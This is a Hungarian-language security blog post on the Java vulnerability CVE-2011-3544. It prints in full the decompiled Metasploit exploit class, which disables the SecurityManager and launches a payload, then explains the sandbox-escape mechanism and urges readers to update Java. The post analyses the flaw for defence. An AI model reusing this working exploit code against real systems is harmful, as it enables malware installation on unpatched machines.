A legutóbbi Open Academy-n is igyekeztem hangsúlyozni, hogy milyen remek dolog is egy Java sebezhetőség - bizonyos szempontból a platformfüggetlenség és a megbízhatóság a tervezési hibák esetében jobban érvényesül, mint bármilyen hétköznapi alkalmazás esetében... Mindezt megspékelve a különböző verziók egymás közti gyakori kibékíthetetlenségével - ami a frissítési kedv radikális visszaeséséhez vezet -, máris megkaptuk napjaink (egyik) legkedveltebb malware-terjesztő platformját.

A legújabb sláger a CVE-2011-3544 névre keresztelt darab, amit jelenleg is aktív támadások lebonyolításához használnak fel szerte a weben, fel is emelték emiatt a riasztási szintet az okosok. Az exploit idő közben bekerült az MSF-be (nem rég 4000$-ért osztogatták a fekete piacon a kódot), én pedig a kedvetekért visszafejtettem a modul lelkét képző osztályt, íme:

import java.applet.Applet;
import javax.script.Bindings;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.swing.JList;
import metasploit.Payload;

public class Exploit extends Applet
{
  public void init()
  {
    try
    {
      ScriptEngine localScriptEngine = new ScriptEngineManager().getEngineByName("js");
      Bindings localBindings = localScriptEngine.createBindings();
      localBindings.put("applet", this);
      Object localObject = localScriptEngine.eval(  // innentől JavaScript
          "this.toString = function() {"+
              "java.lang.System.setSecurityManager(null);"+
              "applet.callBack();"+
              "return 'metasploit';};"+
          "c = new Error();"+
          "c.message = this;"+
          "c",                                           // idáig JavaScript

           localBindings);

      JList localJList = new JList(new Object[] { localObject });
      add(localJList);
    } catch (ScriptException localScriptException) {
      localScriptException.printStackTrace();
    }
  }

  public void callBack() {
    try {
      Payload.main(null);
    }
    catch (Exception localException)
    {
    }
  }
}

Nézzük, mi is történik! Ehhez segítségül ez a remek elemzés szolgálhat. Az exploit a Java Scripting Framework JavaScript implementációjának hibáját használja ki. Itt lényegében egy Javaban implementált JavaScript motorról beszélünk, ami többek között megengedi számunkra, hogy Java objektumokat kössünk JavaScript változókhoz, jó mi? Az ám, főleg mivel az így futtatott szkriptek nem tartoznak a SecurityManager hatáskörébe, így a keretrendszernek kell gondoskodnia arról, hogy mindenki rendesen viselkedjen. Ezt természetesen nem sikerült elsőre(?) tökéletesen megvalósítani.

Látható, hogy a turpisság a this.toString() JS metódusban történik, itt mondjuk meg ugyanis a Java Virtuális Gépnek, hogy bármit megtehetünk, valamint a Payload is innen kerül meghívásra. A this objektum ez után egy JS Error objektum message adattagjához rendelődik. Az eval() lefutása után a localObject már Java kódként tartalmazza a megadott JavaScriptet, ekkor a JS Error objektum egy Java NativeError objektummá alakul. A bökkenő ott van, hogy a message attributumot felhasználó NativeError.toString() metódus lefutásakor nem kerül ellenőrzésre az adott biztonsági kontextus, így az itt lévő kód pontosan a hívó jogosultságaival fog lefutni. A jogosultság ebben az esetben pedig a JList osztálytól "öröklődik", akiben, mint a javax.swing csomag tagjában, alapvetően megbízik a futtató környezet. 

Ha nem akarjátok beszívni a fenti rosszcsontot, frissítseek a legfrissebb Javára, tök mindegy, hogy Windows-on, Linux-on, Mac-en vagy bármilyen más rendszeren toljátok, ami Javát futtat!